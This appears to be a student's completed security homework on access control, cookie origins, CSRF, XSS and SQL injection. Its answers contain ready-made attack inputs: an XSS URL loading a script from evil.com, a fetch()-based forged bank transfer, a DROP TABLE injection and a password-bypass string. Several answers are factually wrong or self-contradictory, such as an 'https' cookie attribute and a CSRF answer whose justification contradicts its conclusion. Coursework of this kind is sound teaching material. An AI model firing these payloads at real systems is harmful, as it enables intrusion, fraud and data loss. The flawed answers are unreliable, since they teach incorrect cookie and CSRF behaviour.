ITIS 6200/8200 Principles of Information Security and Privacy

Homework 3

Please **briefly** explain your answer for every question.

**Question 1. Access Control (10 points)**

Alice can read and write to the file x, can read the file y, and can execute the file z. Bob can read x, can read and write to y, and cannot access z.

Q 1.1: Write a set of access control lists for this situation. Which list is associated with which file?

Ans:

x -> [Alice: rw; Bob: r]

y -> [Alice: r; Bob: rw]

z -> [Alice: x]

Q 1.2: Write a set of capability lists for this situation. With what is each list associated?

Ans:

Alice -> [x: rw; y:r; z:x]

Bob -> [x:r; y:rw]

**Question 2. Cookies (20 points)**

Q 2.1: For each of the following webpages, determine whether the webpage has the same origin as <https://cci.charlotte.edu>, and provide a **brief** justification. (4 points)

1. <https://cci.charlotte.edu/sis-faculty/>

Ans: Yes. Same protocol, domain, and ports

1. <https://www.charlotte.edu>

Ans: No, different domain

1. <https://cci.charlotte.edu:443>

Ans: Yes. Same protocol, domain, and ports

1. [http://cci.charlotte.edu/](http://cci.charlotte.edu/sis-faculty/)

Ans: No, different protocol

Q 2.2: Describe how to setup a cookie so it will be sent to only <https://cci.charlotte.edu> and its subdomains. (4 points)

Ans: Set the **domain** attribute to [cci.charlotte.edu](https://cci.charlotte.edu).

Q 2.3: How can <https://cci.charlotte.edu> ensure that cookies are only transmitted encrypted? (4 points)

Ans: Set the **https** attribute to [true](https://cci.charlotte.edu).

Q 2.4: How can <https://engr.charlotte.edu/> set a cookie it may affect <https://cci.charlotte.edu>? (4 points)

Ans: Create a cookie whose domain attribute is [charlotte.edu](https://cci.charlotte.edu). The cookie will be attached to HTTP requests to <https://cci.charlotte.edu>

Q 2.5: **github** hosts user sites on **github.io** instead of **github.com**, i.e., **[username].github.io,** why do you think **github** do that? Why don’t Github host user sites as **[username].github.com?**

How can it help defend against cookie related attacks? (4 points)

Ans: The cookie for [username].github.io would not affect github.com.

**Question 3. CSRF (25 points)**

A CSRF attack exploits cookie-based authentication to perform an action as the victim. Consider the following example. Mallory posts the following in a comment on a chat forum:

*<img src="https:// bank.com/transfer?amount=1000&to=Mallory"/>*

To successfully conduct a transaction in *bank.com*, users need to authenticate first. Then, *bank.com* sets a cookie as session token.

Q 3.1: Explain what could happen when Alice visits the chat forum and views Mallory’s comment. (6 points)

Ans: If Alice is still login, or her session token is still valid, then a GET request would be made to *https:// bank.com/transfer?amount=1000&to=Mallory,* and the transfer would be made as if the request comes from Alice.

Q 3.2: Suppose *bank.com* decides to defend against CSRF attacks with a cookie-based CSRF token, as follows:

1. When a user logs in, *bank.com* sets a cookie csrf\_token randomly with domain attribute of *bank.com*.
2. When the user sends a POST request, the value of the csrf\_token is embedded as one of the form fields.
3. On receiving a POST request, *bank.com* checks that the value of the csrf\_token cookie matches the one in the form.

If the chat forum has domain *evil.com*, can the CSRF attack above succeed? If the chat forum has domain *evil.bank.com*, can the CSRF attack succeed? (6 points)

Ans: If the chat has domain evil.com: the attack won’t succeed, since the cookie would not be attached.

If the chat has domain evil.bank.com: the attack would succeed, since the cookie would not be attached.

Q 3.3: Suppose bank.com decides to defend against CSRF attacks by checking if the Referer header contains a string “bank.com”. If the chat forum has domain *evil.com*, can the CSRF attack succeed? If the chat forum has domain *evil.bank.com*, can the CSRF attack succeed? Describe one way Mallory can modify her attack to always get around this check. (6 points)

Ans: If the chat has domain evil.com: the attack won’t succeed, since the Referer head would be ”evil.com”, and doesn’t match “bank.com”;

If the chat has domain evil.bank.com: the attack would succeed, since the Referer head would be ”evil.bank.com”, and it contains “bank.com”;

Mallory can direct the victim to a website that contains “bank.com”, such as “bank.com.edu.xxx”;

Q 3.4: Suppose *bank.com* decides to defend against CSRF attacks with an additional cookie field **SameSite**. When **SameSite**=strict, the browser will only send the cookie if the domain of the cookie exactly matches the domain of the origin. If the chat forum has domain *evil.com*, can the CSRF attack succeed? If the chat forum has domain *evil.bank.com*, can the CSRF attack succeed? (7 points)

Ans: both attacks won’t succeed, since their origin evil or evil.bank.com doesn’t exactly match bank.com

**Question 4. XSS (25 points)**

A website uses a Go handler is processing HTTP requests to URL **https://vulnerable.com/hello** that takes an argument of name. The website is vulnerable to XSS attacks.

**func handleSayHello(w http.ResponseWriter, r \*http.Request) {**

**name := r.URL.Query()["name"][0]**

**fmt.Fprintf(w, "<html><body>Hello %s!</body></html>", name)**

**}**

Q 4.1: Design a GET request that would run the javascript file **http://evil.com/hack.js**. (6 points)

Ans: https://vulnerable.com/hello?name=<script src=”http://evil.com/hack.js”></script>

Q 4.2: When the script **hack.js** runs, what origin does it has? (6 points)

Ans: vulnerable.com

Q 4.3: Can we use XSS to steal information in Cookies? If yes, how can we defend against that? (6 points)

Ans: yes. Set the HttpOnly attribute to TRUE

Q 4.4: Design a GET request that can launch a CSRF attack shown in Question 3, i.e., a CSRF attack to *bank.com* than can transfer $1000 to Mallory. (7 points)

Ans: https://vulnerable.com/hello?name=<script>fetch(“https:// bank.com/transfer?amount=1000&to=Mallory”)</script>

**Question 5. SQL injection (20 points)**

A student forum stores its member information with the following schema. The server is vulnerable to SQL injection.

**CREATE** **TABLE** students (  
 StudentID INT, -- member ID

Username VARCHAR(255), -- User name

Password INT -- member password

);

When a new member signs up, the following code runs:

**query := fmt.Sprintf(**

**"INSERT INTO students (StudentID, Username, Password)**

**VALUES ('%s', '%s', '%s');",**

**id, username, password**

**)**

**db.Exec(query)**

Q 5.1: Design an input that would delete the whole table of students. (10 points)

Ans: There are many possible answers. For examples,

First input: some student id

Second input: some username

Third input: ', [a password]); DROP TABLE students --

Q 5.2: Assume that the forum lets users log in with a username and password. For example, if a user submits the username Alice and the password 123456, the application checks the credentials by performing the following SQL query:

**SELECT \* FROM users WHERE username = 'Alice****' AND password = '123456'**

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

Design an input that would bypass the password check. (10 points)

Ans: There are many possible answers. For example,

First input: Alice' OR '1'= '1'--